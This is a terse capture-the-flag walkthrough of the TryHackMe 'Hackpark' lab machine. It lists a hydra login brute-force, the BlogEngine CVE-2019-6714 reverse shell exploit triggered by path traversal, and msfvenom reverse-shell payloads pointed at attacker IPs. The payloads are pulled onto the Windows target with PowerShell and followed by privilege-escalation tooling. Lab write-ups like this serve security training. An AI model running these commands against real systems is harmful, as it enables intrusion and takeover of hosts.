← CTF archive

· Earliest timestamped screenshot

[TryHackMe] Hackpark

IP Machine :

export machine="10.10.236.163" && clear
sudo nmap -sC -sV -oA Lampiao $machine
hydra -l admin -P /usr/share/dict/rockyou.txt $machine http-post-form "/Account/login.aspx:__VIEWSTATE=lBZWOHNfbWFna3LfScZAsMINOHSMietUnewMn7a3kA4tmma5NIFXs9adzfFNqzM5LSe8mE4pDXz8KLAE7ArwrhCbqzYqxnZhB4uUl2x4a%2FPsPx%2BkfC%2B0WWMngecfBEtKnFhhAPYRRzGCzfzAThIfABCzl6J8KPYLVnTUz0kYk3vjW4icZWnhm%2B%2B164Fwrw8LuoSBxG1GNgvjed%2BH3QBXHvoEBC8KcqukCMwakcXj8xHzbLOrMvwhEoW3zXnWfbmJAQKU2TYJrPpDLNQRTk3s7P6R37jHfJXIgMIlx9RSrzaTsAaOCURt59E3fV9WERKCZabv%2Fp9Uf2diLfSqj7%2BA0UsdOUeE0KTBkKmf8z6r0PEyi86r&__EVENTVALIDATION=vBr5BneUKoqacBMMXAJxG1tl3S3gk5d2WOm0iTpSDL2lD9S12ZHfP8teQUBEu41cUrdxcMP0P5y7nChmUHxypZChXW5U3enfrXBW0XHXjGILwC5SyhRh0hN14xdInHfOihvMKRv%2BtZlK97Bpo%2Fw4C2TrykiqxLFnWnRXd%2FoT02O%2FTnWY&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed"

Screenshot

admin:1qaz2wsx

Code source (Ctrl+U) :

BlogEngine 3.3.6.0
searchsploit BlogEngine 3.3.6.0

CVE-2019-6714

searchsploit -m aspx/webapps/46353.cs && mv 46353.cs PostView.ascx && nano PostView.ascx

Uploading the C# reverse shell: http://10.10.236.163/admin/app/editor/editpost.cshtml

Save as : PostView.ascx

Trigger payload : http://10.10.236.163/?theme=../../App_Data/files

sudo pwncat -l 443

Screenshot

PWNCAT

help
SYSTEMINFO

version : Windows 2012 R2 (6.3 Build 9600)

cd "C:\Program Files (x86)"

Generate payload :

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f exe -o payload.exe && serve

Metasploit listener:

msfconsole -n -q -x "use multi/handler;set payload windows/x64/meterpreter/reverse_tcp;set lhost tun0;set lport 444;run;"

Transferring the payload from CMD:

payload.exe

powershell -c "Invoke-WebRequest -Uri 'http://10.11.3.68/payload.exe' -OutFile 'c:\temp\payload.exe'"

Listing processes:

Screenshot

wget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/master/windows-exploit-suggester.py && chmod +x windows-exploit-suggester.py

shell
systeminfo


#ATTACKER machine
#copy systeminfo into sysinfo.txt
kate sysinfo.txt

python2 windows-exploit-suggester.py --update && python2 windows-exploit-suggester.py --database 2022-10-23-mssb.xls --systeminfo sysinfo.txt --ostext 'Windows 2012 R2 (6.3 Build 9600).'


upload winPEAS.exe  
shell  
winPEAS.exe servicesinfo


getsystem (printspoofer)

Without Metasploit:

msfvenom -p windows/shell_reverse_tcp -a x86 --encoder /x86/shikata_ga_nai LHOST=ATTACKER_IP LPORT=4443 -f exe -o shell.exe

powershell -c "Invoke-WebRequest -Uri 'http://10.8.3.38:8081/shell.exe' -OutFile 'C:\Windows\Temp\shell.exe'"

systeminfo

8/3/2019, 10:43:23 AM